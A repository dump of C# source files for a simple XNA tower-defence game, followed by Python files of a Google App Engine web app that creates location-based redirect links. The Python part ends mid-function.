public void AddCommand(string name, Func<string[], string> action, string description)
{
this.Commands.Add(new CustomCommand(name, action, description));
}
public void WriteLine(string text)
{
this.console.WriteLine(text);
}
public List<IConsoleCommand> Commands
{
get
{
return GameConsoleOptions.Commands;
}
}
public bool Enabled { get; set; }
public bool Opened
{
get
{
return this.console.IsOpen;
}
}
public GameConsoleOptions Options
{
get
{
return GameConsoleOptions.Options;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Core.Extensions
{
public static class Player
{
static public int Health { get; set; }
static public int Gold { get; set; }
static Player()
{
Health = 100;
Gold = 1000;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Towers;
using Core.Controllers;
using Core.Handlers;
using Microsoft.Xna.Framework;
using Core.Extensions;
namespace Core.Buttons
{
public class Sell : Button
{
Tower Tower;
public Sell(int X, int Y, Tower tower)
: base(X, Y)
{
Tower = tower;
Texture = TextureLoader.Sell;
}
public override void OnClick(object sender, Handlers.MouseAgrs e)
{
if (e.ClickedKey == Key.Left && new Rectangle((int)Position.X, (int)Position.Y, Texture.Width, Texture.Height).Contains(e.Position))
{
InterfaceController.IC.Unpick();
TowerController.Instanse.Sell(Tower);
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Monsters;
using Microsoft.Xna.Framework;
using Core.Map;
using Microsoft.Xna.Framework.Graphics;
using Core.Extensions;
using System.Timers;
namespace Core.Controllers
{
public class WaveController
{
MonsterController monsterController;
string CurrentWawe;
TimeSpan CD { get; set; }
int CurrentMonster { get; set; }
bool isWawing { get; set; }
Timer TenSec { get; set; }
bool isWaiting { get; set; }
public WaveController(MonsterController monsterController)
{
this.monsterController = monsterController;
CurrentWawe = "NO";
isWawing = false;
isWaiting = true;
}
public void NewWawe(string Wawe)
{
CD = TimeSpan.Zero;
CurrentMonster = 0;
CurrentWawe = Wawe;
isWawing = true;
}
public void Start(string Wawe)
{
TenSec = new Timer(1000f);
TenSec.AutoReset = false;
TenSec.Elapsed += delegate(object sender, ElapsedEventArgs e)
{
CD = TimeSpan.Zero;
CurrentMonster = 0;
CurrentWawe = Wawe;
isWawing = true;
};
TenSec.Start();
}
public void Update(GameTime gameTime)
{
if (monsterController.GetMonsters().All(x => x.isAlive == false) && isWaiting == false)
{
monsterController.GetMonsters().Clear();
Start(FileIO.GetWawe());
isWaiting = true;
}
if (!isWawing) return;
if (CurrentMonster == CurrentWawe.Length)
{
isWawing = false;
isWaiting = false;
return;
}
if (CD <= TimeSpan.Zero)
{
switch (CurrentWawe[CurrentMonster++])
{
case '0': monsterController.Add(new TestMonster(Ground.Start.X, Ground.Start.Y)); break;
case '1': monsterController.Add(new Bee(Ground.Start.X, Ground.Start.Y)); break;
case '2': monsterController.Add(new Spider(Ground.Start.X, Ground.Start.Y)); break;
case '3': monsterController.Add(new Bug(Ground.Start.X, Ground.Start.Y)); break;
case '4': monsterController.Add(new Fly(Ground.Start.X, Ground.Start.Y)); break;
case '5': monsterController.Add(new Ladybug(Ground.Start.X, Ground.Start.Y)); break;
}
CD = new TimeSpan(0, 0, 0, 1, 500);
}
CD -= gameTime.ElapsedGameTime;
}
public void Draw(SpriteBatch spriteBatch)
{
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Monsters
{
public class Bug : Monster
{
public Bug (int X, int Y)
: base(X, Y)
{
Speed = 0.6f;
Texture = TextureLoader.Bug;
Animation = new Animation(Texture, 2);
Health = 7;
Defence = 0;
Cost = 2;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Core.Handlers;
using Microsoft.Xna.Framework.Graphics;
namespace Core.Buttons
{
public class Button
{
protected Vector2 Position { get; set; }
protected Texture2D Texture { get; set; }
public Button(int X, int Y)
{
Position = new Vector2(X, Y);
}
virtual public void OnClick(object sender, MouseAgrs e){}
public void Draw(SpriteBatch spriteBatch)
{
spriteBatch.Draw(Texture, Position, Color.White);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework;
namespace Core.Map
{
public class Ground
{
public static int MapWidth = 15;
public static int MapHeight = 15;
static public char[,] Mask { get; set; }
GroundItem[,] Map {get; set;}
public static Point Start { get; set; }
public static Point End { get; set; }
public Ground()
{
Map = new GroundItem[15, 15];
Mask = FileIO.GetLevelMask();
for (int i=0; i<15; i++)
for (int j=0; j<15; j++)
switch (Mask[i, j])
{
case '0': Map[i, j] = new GroundNon(i, j); break;
case '1': Map[i, j] = new GroundStart(i, j); Start = new Point(i, j); break;
case '2': Map[i, j] = new GroundRoad(i, j); break;
case '3': Map[i, j] = new GroundFinish(i, j); End = new Point(i, j); break;
}
}
public void Draw(SpriteBatch spriteBatch)
{
foreach (var item in Map)
item.Draw(spriteBatch);
}
}
}
<file_sep>namespace XNAGameConsole
{
using System;
using System.Linq;
internal class CommandProcesser
{
private static string[] GetArguments(string buffer)
{
int index = buffer.IndexOf(' ');
if (index < 0)
{
return new string[0];
}
return (from a in buffer.Substring(index, buffer.Length - index).Split(new char[] { ' ' })
where a != ""
select a).ToArray<string>();
}
private static string GetCommandName(string buffer)
{
int index = buffer.IndexOf(' ');
return buffer.Substring(0, (index < 0) ? buffer.Length : index);
}
public string Process(string buffer)
{
string commandName = GetCommandName(buffer);
IConsoleCommand command = (from c in GameConsoleOptions.Commands
where c.Name == commandName
select c).FirstOrDefault<IConsoleCommand>();
string[] arguments = GetArguments(buffer);
if (command == null)
{
return "ERROR: Command not found";
}
try
{
return command.Execute(arguments);
}
catch (Exception exception)
{
return ("ERROR: " + exception.Message);
}
}
}
}
<file_sep>namespace XNAGameConsole
{
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework.Input;
using System;
using System.Collections.Generic;
using System.Runtime.CompilerServices;
using Microsoft.Xna.Framework;
public class GameConsoleOptions
{
public GameConsoleOptions()
{
this.ToggleKey = Keys.OemTilde;
this.BackgroundColor = new Color(0, 0, 0, 0x7d);
this.FontColor = Color.White;
this.AnimationSpeed = 1f;
this.CursorBlinkSpeed = 0.5f;
this.Height = 300;
this.Prompt = "$";
this.Cursor = '_';
this.Padding = 30;
this.Margin = 30;
this.OpenOnWrite = true;
}
public float AnimationSpeed { get; set; }
public Color BackgroundColor { get; set; }
public Color BufferColor { get; set; }
internal static List<IConsoleCommand> Commands { get; set; }
public char Cursor { get; set; }
public float CursorBlinkSpeed { get; set; }
public Color CursorColor { get; set; }
public SpriteFont Font { get; set; }
public Color FontColor
{
set
{
Color color;
Color color2;
Color color3;
this.CursorColor = color = value;
this.PromptColor = color2 = color;
this.PastCommandOutputColor = color3 = color2;
this.BufferColor = this.PastCommandColor = color3;
}
}
public int Height { get; set; }
public int Margin { get; set; }
public bool OpenOnWrite { get; set; }
internal static GameConsoleOptions Options { get; set; }
public int Padding { get; set; }
public Color PastCommandColor { get; set; }
public Color PastCommandOutputColor { get; set; }
public string Prompt { get; set; }
public Color PromptColor { get; set; }
internal Texture2D RoundedCorner { get; set; }
public Keys ToggleKey { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using XNAGameConsole;
using Core.Extensions;
namespace Core.XNAGameConsole.Commands
{
internal class GoldCommand : IConsoleCommand
{
public string Execute(string[] arguments)
{
int gold;
try
{
gold = Int32.Parse(arguments[0]);
}
catch (Exception e)
{
return "Error";
}
Player.Gold += gold;
return "added";
}
public string Description
{
get
{
return "Adding gold";
}
}
public string Name
{
get
{
return "gold";
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Monsters
{
public class Fly : Monster
{
public Fly(int X, int Y)
: base(X, Y)
{
Speed = 1.5f;
Texture = TextureLoader.Fly;
Animation = new Animation(Texture, 2);
Health = 8;
Defence = 2;
Cost = 4;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Towers;
using Core.Monsters;
using Core.Bullets;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Core.Controllers
{
public class BulletController
{
List<Tower> towers;
List<Monster> monsters;
List<Bullet> bullets;
public BulletController(List<Tower> towers, List<Monster> monsters)
{
this.towers = towers;
this.monsters = monsters;
bullets = new List<Bullet>();
}
public void Update(GameTime gameTime)
{
foreach (var tower in towers)
foreach (var monster in monsters)
if ((tower.Position - monster.Position).Length() <= tower.Radius)
if (tower.Couldown <= TimeSpan.Zero && monster.isAlive)
{
bullets.Add(new Bullet((int)tower.Position.X / 35, (int)tower.Position.Y / 35, monster, tower.Power, this));
tower.Fire();
}
for (int i = 0; i < bullets.Count; i++)
bullets[i].Update(gameTime);
}
public void Draw(SpriteBatch spriteBatch)
{
foreach (var bullet in bullets)
bullet.Draw(spriteBatch);
}
public void Remove(Bullet bullet)
{
bullets.Remove(bullet);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework;
using System.Timers;
namespace Core.Monsters
{
public class Animation
{
Texture2D Texture;
int Frames;
int Current;
Timer timer;
public Animation(Texture2D texture, int frames)
{
Texture = texture;
Frames = frames;
Current = 0;
timer = new Timer(150);
timer.AutoReset = true;
timer.Elapsed += delegate(object sender, ElapsedEventArgs e)
{
Current++;
if (Current == Frames)
Current = 0;
};
timer.Start();
}
public Rectangle GetFrame()
{
Rectangle rect = new Rectangle(35*Current, 0, 35, 35);
return rect;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Monsters
{
public class TestMonster : Monster
{
public TestMonster(int X, int Y)
: base(X, Y)
{
Speed = 0.5f;
Texture = TextureLoader.TestMonster;
Animation = new Animation(Texture, 1);
Health = 40;
Defence = 2;
Cost = 2;
}
}
}
<file_sep>namespace XNAGameConsole
{
using System;
internal enum OutputLineType
{
Command,
Output
}
}
<file_sep>namespace XNAGameConsole.Commands
{
using System;
using System.Runtime.CompilerServices;
using XNAGameConsole;
internal class CustomCommand : IConsoleCommand
{
private Func<string[], string> action;
public CustomCommand(string name, Func<string[], string> action, string description)
{
this.Name = name;
this.Description = description;
this.action = action;
}
public string Execute(string[] arguments)
{
return this.action(arguments);
}
public string Description { get; private set; }
public string Name { get; private set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Map
{
class GroundStart : GroundItem
{
public GroundStart(int X, int Y)
: base(X, Y)
{
Texture = TextureLoader.Start;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Controllers;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Core.Extensions;
using XNAGameConsole;
namespace Core
{
public class Core
{
Controller controller;
GameConsole console;
System.Windows.Forms.Button btn;
public Core(Game game, SpriteBatch spriteBatch)
{
controller = new Controller();
console = new GameConsole(game, spriteBatch);
btn = new System.Windows.Forms.Button();
btn.Height = 50;
btn.Width = 100;
btn.Bounds = new System.Drawing.Rectangle(0, 0, 50, 100);
btn.BringToFront();
//game.Window.Title = btn.Handle.ToString();
// System.Windows.Forms.Form a = System.Windows.Forms.
}
public string Update(GameTime gameTime)
{
Return.Message = "OK";
controller.Update(gameTime);
if (Player.Health <= 0)
return "Game Over";
return Return.Message;
}
public void Draw(SpriteBatch spriteBatch)
{
controller.Draw(spriteBatch);
}
}
}
<file_sep>namespace XNAGameConsole.KeyboardCapture
{
using System;
using System.Runtime.CompilerServices;
internal delegate void KeyEventHandler(object sender, KeyEventArgs e);
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Monsters
{
public class Spider : Monster
{
public Spider(int X, int Y)
: base(X, Y)
{
Speed = 2f;
Texture = TextureLoader.Spider;
Animation = new Animation(Texture, 5);
Health = 15;
Defence = 2;
Cost = 7;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Monsters;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Core.Controllers
{
public class MonsterController
{
List<Monster> monsters;
public MonsterController()
{
this.monsters = new List<Monster>();
}
public void Add(Monster monster)
{
monsters.Add(monster);
}
public void Update(GameTime gameTime)
{
foreach (var item in monsters)
item.Update(gameTime);
}
public void Draw(SpriteBatch spriteBatch)
{
foreach (var item in monsters)
item.Draw(spriteBatch);
}
public List<Monster> GetMonsters()
{
return monsters;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Towers
{
public class Test1Tower : Tower
{
public Test1Tower(int X, int Y)
: base(X, Y)
{
Texture = TextureLoader.Tower;
Speed = new TimeSpan(0, 0, 0, 1);
Radius = 70f;
Power = 0;
Cost = 5;
}
}
}
<file_sep>TowerDefence
============
Tower Defence on .XNA
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Core.Monsters;
using Microsoft.Xna.Framework.Graphics;
using Core.Extensions;
using Core.Controllers;
namespace Core.Bullets
{
public class Bullet
{
public Vector2 Position { get; set; }
Texture2D Texture { get; set; }
public Monster Aim { get; set; }
public float Speed { get; set; }
public bool isAlive { get; set; }
public int Power { get; set; }
BulletController bulletController { get; set; }
public Bullet(int X, int Y, Monster aim, int power, BulletController bulletController)
{
Position = new Vector2(35 * X + 17.5f, 35 * Y + 17.5f);
Aim = aim;
isAlive = true;
Speed = 1.5f;
Texture = TextureLoader.Bullet;
Power = power;
this.bulletController = bulletController;
}
public void Update(GameTime gameTime)
{
if (!isAlive) return;
if (!new Rectangle((int)Aim.Position.X, (int)Aim.Position.Y, 35, 35).Contains(new Point((int)this.Position.X, (int)this.Position.Y)))
{
Vector2 direction = Aim.Position - this.Position;
direction += new Vector2(17.5f, 17.5f);
direction.Normalize();
direction = direction * Speed;
Position += direction;
}
else
{
this.isAlive = false;
Aim.Hit(Power);
bulletController.Remove(this);
}
}
public void Draw(SpriteBatch spriteBatch)
{
if(isAlive) spriteBatch.Draw(Texture, Position, Color.White);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Core.Map
{
public class GroundItem
{
public Vector2 Position { get; set; }
public Texture2D Texture { get; set; }
public GroundItem(int X, int Y)
{
Position = new Vector2(35*X, 35*Y);
}
public void Draw(SpriteBatch spriteBatch)
{
spriteBatch.Draw(Texture, Position, Color.White);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Input;
using Microsoft.Xna.Framework.Graphics;
using Core.Controllers;
using Core.Extensions;
using Core.Handlers;
namespace Core.Towers
{
public class ShopItem
{
Vector2 Position { get; set; }
Vector2 Relative { get; set; }
int Heigth { get; set; }
int Width { get; set; }
Tower Tower { get; set; }
public ShopItem(Vector2 position, Tower tower, MouseHandler mh)
{
Position = position;
Relative = new Vector2(5, 40);
Tower = tower;
Heigth = 125;
Width = 100;
mh.OnClick += this.OnClick;
}
public void Update(GameTime gametime)
{
}
public void Draw(SpriteBatch spriteBatch)
{
spriteBatch.Draw(TextureLoader.ShopItemBorder, new Rectangle((int)Position.X, (int)Position.Y, Width, Heigth), Color.White);
spriteBatch.Draw(Tower.Texture, Position+new Vector2(35, 0), Color.White);
spriteBatch.DrawString(TextureLoader.FDescr, "Cost: " + Tower.Cost + "\n" + "Range: " + Tower.Radius + "\n" + "Power: " + Tower.Power, Position + Relative, Color.Red);
if (Player.Gold < Tower.Cost)
spriteBatch.Draw(TextureLoader.Cross, new Rectangle((int)Position.X, (int)Position.Y, Width, Heigth), Color.White);
}
public void OnClick(object sender, MouseAgrs e)
{
if (e.ClickedKey == Key.Left &&
new Rectangle((int)Position.X, (int)Position.Y, Width, Heigth).Contains(new Point(Mouse.GetState().X, Mouse.GetState().Y)))
{
if (Player.Gold >= Tower.Cost)
{
InterfaceController.IC.ShopPick(Tower);
if (Tower is TestTower) Tower = new TestTower(0, 0);
if (Tower is SmallTower) Tower = new SmallTower(0, 0);
if (Tower is MediumTower) Tower = new MediumTower(0, 0);
if (Tower is LargeTower) Tower = new LargeTower(0, 0);
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Map;
using System.IO;
namespace Core.Extensions
{
public static class FileIO
{
static int WaweNum;
static int CurrentWawe { get; set;}
static string[] arrayStringMask;
static FileIO()
{
WaweNum = -1;
}
public static char[,] GetLevelMask()
{
var mask = new char[Ground.MapWidth, Ground.MapHeight];
string stringMask = string.Empty;
using (var stream = File.OpenRead(@"Map.txt"))
{
var reader = new StreamReader(stream);
stringMask = reader.ReadToEnd();
}
var arrayStringMask = stringMask.Split('\n', '\r').Where(x => x != "").ToArray<string>();
for (int i = 0; i < Ground.MapHeight; i++)
{
for (int j = 0; j < Ground.MapWidth; j++)
{
mask[j, i] = arrayStringMask[i][j];
}
}
return mask;
}
public static string GetWawe()
{
if (WaweNum == -1)
{
string stringMask = string.Empty;
using (var stream = File.OpenRead(@"Wawes.txt"))
{
var reader = new StreamReader(stream);
stringMask = reader.ReadToEnd();
}
arrayStringMask = stringMask.Split('\n', '\r').Where(x => x != "").ToArray<string>();
CurrentWawe = 1;
WaweNum = Int32.Parse(arrayStringMask[0]);
}
if (CurrentWawe > WaweNum) return "NO";
return arrayStringMask[CurrentWawe++];
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Towers;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Core.Extensions;
using Microsoft.Xna.Framework.Input;
using Core.Map;
using Core.Handlers;
namespace Core.Controllers
{
public class InterfaceController
{
Tower Selected { get; set; }
Tower Buying { get; set; }
Vector2 GoldPosition { get; set; }
Vector2 ShopPosition { get; set; }
public static InterfaceController IC { get; set; }
List<ShopItem> Shop;
MouseState previous;
TowerController towerController;
SelectedItem SelectedItem { get; set; }
public InterfaceController(TowerController towerController, MouseHandler mh)
{
GoldPosition = new Vector2(530, 5);
ShopPosition = new Vector2(535, 5 + TextureLoader.FGold.MeasureString("G").Y);
IC = this;
Shop = new List<ShopItem>();
Shop.Add(new ShopItem(ShopPosition, new TestTower(0, 0), mh));
Shop.Add(new ShopItem(ShopPosition + new Vector2(105, 0), new SmallTower(0, 0), mh));
Shop.Add(new ShopItem(ShopPosition + new Vector2(0, 130), new MediumTower(0, 0), mh));
Shop.Add(new ShopItem(ShopPosition + new Vector2(105, 130), new LargeTower(0, 0), mh));
previous = Mouse.GetState();
this.towerController = towerController;
}
public void Update(GameTime gameTime)
{
foreach (var item in Shop)
item.Update(gameTime);
}
public void Draw(SpriteBatch spriteBatch)
{
if (Selected != null)
SelectedItem.Draw(spriteBatch);
if (Buying != null)
{
spriteBatch.Draw(Buying.Texture, new Vector2(Mouse.GetState().X-17, Mouse.GetState().Y-17), Color.White);
spriteBatch.Draw(TextureLoader.Circle, new Rectangle(Mouse.GetState().X - (int)Buying.Radius, Mouse.GetState().Y - (int)Buying.Radius, (int)Buying.Radius*2, (int)Buying.Radius*2), Color.White);
}
spriteBatch.DrawString(TextureLoader.FGold, "Gold: "+Player.Gold.ToString(), GoldPosition, Color.Red);
foreach (var item in Shop)
item.Draw(spriteBatch);
}
public void ShopPick(Tower Tower)
{
Buying = Tower;
}
public void Unpick()
{
Selected = null;
Buying = null;
}
public void Pick(Tower Tower)
{
Selected = Tower;
if (SelectedItem != null)
{
towerController.mouseHandler.OnClick -= SelectedItem.OnClick;
}
SelectedItem = new SelectedItem(new Vector2(0, 530), Selected);
towerController.mouseHandler.OnClick += SelectedItem.OnClick;
}
public void OnClick(object sender, MouseAgrs e)
{
int key = e.ClickedKey == Key.Left ? 0 : e.ClickedKey == Key.Right ? 1 : 3;
if (Buying == null && key == 0) return;
if (key == 0)
{
int X = (int)Mouse.GetState().X/35;
int Y = (int)Mouse.GetState().Y/35;
if (X<0 || Y<0 || X >= 15 || Y >= 15) return;
else
{
if (Ground.Mask[X, Y] != '0') return;
Buying.Position = new Vector2(X * 35, Y * 35);
towerController.Add(Buying);
Player.Gold -= Buying.Cost;
Buying = null;
}
}
else
{
Unpick();
}
}
}
}
<file_sep>namespace XNAGameConsole.KeyboardCapture
{
using Microsoft.Xna.Framework.Input;
using System;
using System.Runtime.CompilerServices;
internal class KeyEventArgs : EventArgs
{
public KeyEventArgs(Keys keyCode)
{
this.KeyCode = keyCode;
}
public Keys KeyCode { get; private set; }
}
}
| df9d7118dc10177683f88807719140895e65cc52 | [
"Markdown",
"C#"
] | 53 | C# | zaq007/TowerDefence | db532e527736e046aeaf4b20b8158877e5aae08b | 5cbf2ca56bcc913e0f196c197dfc8d6f007bdaa5 |
refs/heads/master | <file_sep>import logging
import urlparse
from google.appengine.ext import db
from google.appengine.api import users
from oauth2client.appengine import CredentialsProperty
import main
GEOLINK_BASE_URL = "http://nearbylink.appspot.com/"
GEOLINK_CODES = ["{postal_code}", "{continent}", "{latitude}", "{longitude}", "{country_code}", "{region}", "{state}", "{state_code}", "{city}", "{postal_code}", "{time_zone}", "{area_code}"]
LIST_STATES = ["Alabama", "Alaska", "Arizona", "Arkansas", "California", "Colorado", "Connecticut", "Delaware",
"District of Columbia", "Florida", "Georgia", "Hawaii", "Idaho", "Illinois", "Indiana", "Iowa",
"Kansas", "Kentucky", "Louisiana", "Maine", "Maryland", "Massachusetts", "Michigan", "Minnesota",
"Mississippi", "Missouri", "Montana", "Nebraska", "Nevada", "New Hampshire", "New Jersey", "New Mexico",
"New York", "North Carolina", "North Dakota", "Ohio", "Oklahoma", "Oregon", "Pennsylvania", "Rhode Island",
"South Carolina", "South Dakota", "Tennessee", "Texas", "Utah", "Vermont", "Virginia", "Washington",
"West Virginia", "Wisconsin", "Wyoming"]
LIST_STATE_CODES = ["AL", "AK", "AZ", "AR", "CA", "CO", "CT", "DC", "DE", "FL", "GA",
"HI", "ID", "IL", "IN", "IA", "KS", "KY", "LA", "ME", "MD",
"MA", "MI", "MN", "MS", "MO", "MT", "NE", "NV", "NH", "NJ",
"NM", "NY", "NC", "ND", "OH", "OK", "OR", "PA", "RI", "SC",
"SD", "TN", "TX", "UT", "VT", "VA", "WA", "WV", "WI", "WY"]
class GeoLink(db.Model):
url = db.StringProperty()
user = db.UserProperty()
shortlink = db.StringProperty()
linkmap = db.TextProperty()
linkmap_key = db.StringProperty()
created_on = db.DateTimeProperty(auto_now_add=True)
@property
def geolink(self):
if self.shortlink is None:
return GEOLINK_BASE_URL + 'l/' + str(self.key())
else:
return self.shortlink
@property
def infolink(self):
return GEOLINK_BASE_URL + 'i/' + str(self.key())
def linkmap_find(self, code_value):
value = None
lines = self.linkmap.split('\n')
for line in lines:
parts = line.split('|')
if parts[0].rstrip().lower()==code_value.lower():
value = parts[1].rstrip()
if parts[1].rstrip().lower()==code_value.lower():
value = parts[0].rstrip()
return value
def validate(self):
isValidInput = False
if self.url:
#validate input url
link_code_count = 0
for code in GEOLINK_CODES:
link_code_start = self.url.find(code)
if link_code_start != -1:
link_code_count += 1
if link_code_count == 0:
raise main.ValidationError("link must use at least 1 code")
else:
if GeoLink.validateURL(self.url):
isValidInput = True
elif self.linkmap:
#validate input linkmap and linkmap_key
if self.linkmap and self.linkmap_key:
valid_codes = None
if self.linkmap_key == "state_code":
valid_codes = LIST_STATE_CODES
elif self.linkmap_key == "state":
valid_codes = LIST_STATES
else:
raise main.ValidationError("Invalid code for map")
lines = self.linkmap.split('\n')
for line in lines:
parts = line.split('|')
if len(parts) !=2:
raise main.ValidationError("Each line must have a code and a URL seperated by |")
if parts[0].rstrip().upper() in valid_codes:
GeoLink.validateURL(parts[1])
elif parts[1].rstrip().upper() in valid_codes:
GeoLink.validateURL(parts[0])
else:
raise main.ValidationError("Missing or invalid code value")
isValidInput = True
else:
raise main.ValidationError("Must enter link or linkmap")
return isValidInput
@classmethod
def validateURL(cls, url):
#TODO: throw exception instead of catching
parts = None
try:
parts = urlparse.urlparse(url)
except Exception, e:
logging.error(e)
raise main.ValidationError("URL is not valid")
if not all([parts.scheme, parts.netloc]):
raise main.ValidationError("URL not complete")
if parts.scheme not in ['http', 'https']:
raise main.ValidationError("URL missing scheme (http or https)")
return True
class Credentials(db.Model):
credentials = CredentialsProperty()
<file_sep>import httplib2
import sys
from apiclient.discovery import build
from oauth2client.file import Storage
from oauth2client.client import OAuth2WebServerFlow
from oauth2client.client import AccessTokenCredentials
from oauth2client.tools import run
GOOGLE_DEVELOPER_KEY = "DEVELOPER_KEY_HERE"
def shorten(longurl, credentials):
#credentials = run(FLOW, storage)
http = httplib2.Http()
http = credentials.authorize(http)
# Build the url shortener service
service = build("urlshortener", "v1", http=http,
developerKey=GOOGLE_DEVELOPER_KEY)
url = service.url()
# Create a shortened URL by inserting the URL into the url collection.
body = {"longUrl": longurl }
resp = url.insert(body=body).execute()
shortUrl = resp['id']
return shortUrl
<file_sep>#!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from google.appengine.ext import webapp
from google.appengine.ext.webapp import util
import views
import os
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings'
from google.appengine.dist import use_library
use_library('django', '0.96')
#use_library('django', '1.2')
def main():
application = webapp.WSGIApplication([('/', views.MainHandler),
('/about', views.AboutHandler),
('/credentials', views.CredentialHandler),
('/auth_return', views.OAuthHandler),
('/dashboard/', views.GeoLinkHandler),
('/dashboard/create', views.CreateGeoLinkHandler),
('/l/(.*)', views.ViewLinkHandler),
('/i/(.*)', views.ViewLinkInfoHandler),
('.*', views.NotFoundHandler)],
debug=True)
util.run_wsgi_app(application)
class ValidationError(Exception):
def __init__(self, message):
# Call the base class constructor with the parameters it needs
Exception.__init__(self, message)
if __name__ == '__main__':
main()
<file_sep>../../google-api-client-python/gflags.py<file_sep>../../google-api-client-python/gflags_validators.py<file_sep>import logging
import os
import pickle
import httplib2
from apiclient.discovery import build
from oauth2client.appengine import CredentialsProperty
from oauth2client.appengine import StorageByKeyName
from oauth2client.client import OAuth2WebServerFlow
from google.appengine.api import memcache
from google.appengine.ext import webapp
from google.appengine.ext.webapp import util
from google.appengine.ext.webapp import template
from google.appengine.ext import db
from google.appengine.api import users
from google.appengine.ext.webapp.util import login_required
import models
import quova
import urlshortener
GOOGLEAPI_CLIENT_ID='CLIENT_ID_HERE'
GOOGLEAPI_CLIENT_SECRET='CLIENT_SECRET_HERE'
GOOGLEAPI_SCOPE='https://www.googleapis.com/auth/urlshortener'
GOOGLEAPI_USER_AGENT='nearbylink/1.0'
GOOGLEAPI_XOAUTH_DISPLAYNAME='Nearby Link'
class BaseRequestHandler(webapp.RequestHandler):
def render(self, template_name, template_values):
user = users.get_current_user()
values = {
'user': user,
'logout_url': users.create_logout_url('/'),
}
values.update(template_values)
directory = os.path.dirname(__file__)
path = os.path.join(directory, os.path.join('views', template_name))
self.response.out.write(template.render(path, values, debug=False))
class MainHandler(BaseRequestHandler):
def get(self):
ip_addr = self.request.remote_addr
location = quova.ipinfo(ip_addr);
user_state = quova.get(location, "state").capitalize()
user_zip = quova.get(location, "postal_code")
self.render('home/index.html', {'user_state':user_state,
'user_zip':user_zip});
class AboutHandler(BaseRequestHandler):
def get(self):
self.render('home/about.html', {});
class NotFoundHandler(BaseRequestHandler):
def get(self):
self.error(404)
self.render('404.html', {});
class GeoLinkHandler(BaseRequestHandler):
def get(self):
user = users.get_current_user()
if user:
ip_addr = self.request.remote_addr
location = quova.ipinfo(ip_addr);
parts = {}
for code in models.GEOLINK_CODES:
parts[code.lstrip('{').rstrip('}')] = quova.get(location, code.lstrip('{').rstrip('}'));
links = models.GeoLink.gql("WHERE user = :1 ORDER BY created_on desc", user)
self.render('link/index.html', {'page_title':'link',
'links': links,
'parts': parts})
else:
self.error(403)
class CreateGeoLinkHandler(webapp.RequestHandler):
def post(self):
user = users.get_current_user()
only_validate = self.request.get("validate")
if user:
#get params
url = self.request.get("url")
linkmap = self.request.get("linkmap")
linkmap_key = self.request.get("linkmap_key")
link = models.GeoLink(user=user)
if url:
link.url = url
else:
link.linkmap = linkmap
link.linkmap_key = linkmap_key
valid_input = False
try:
valid_input = link.validate()
except Exception, e:
self.response.out.write(e)
if only_validate == "" and valid_input == True:
key = link.put()
#create shortlink goo.gl
credentials = StorageByKeyName(models.Credentials, user.user_id(), 'credentials').get()
if credentials and credentials.invalid == False:
link.shortlink = urlshortener.shorten(models.GEOLINK_BASE_URL + 'l/' + str(key), credentials)
link.put()
#self.response.out.write("saved the link " + url)
self.redirect("/dashboard/")
elif only_validate and valid_input == True:
self.response.out.write("valid")
else:
self.error(403)
class ViewLinkInfoHandler(BaseRequestHandler):
def get(self, key):
geolink = models.GeoLink.get(key)
self.render('link/info.html', {'geolink':geolink});
class ViewLinkHandler(webapp.RequestHandler):
def get(self, key):
ip_addr = self.request.remote_addr
link = None
try:
link = models.GeoLink.get(key)
except:
self.error(404)
if link:
url = None
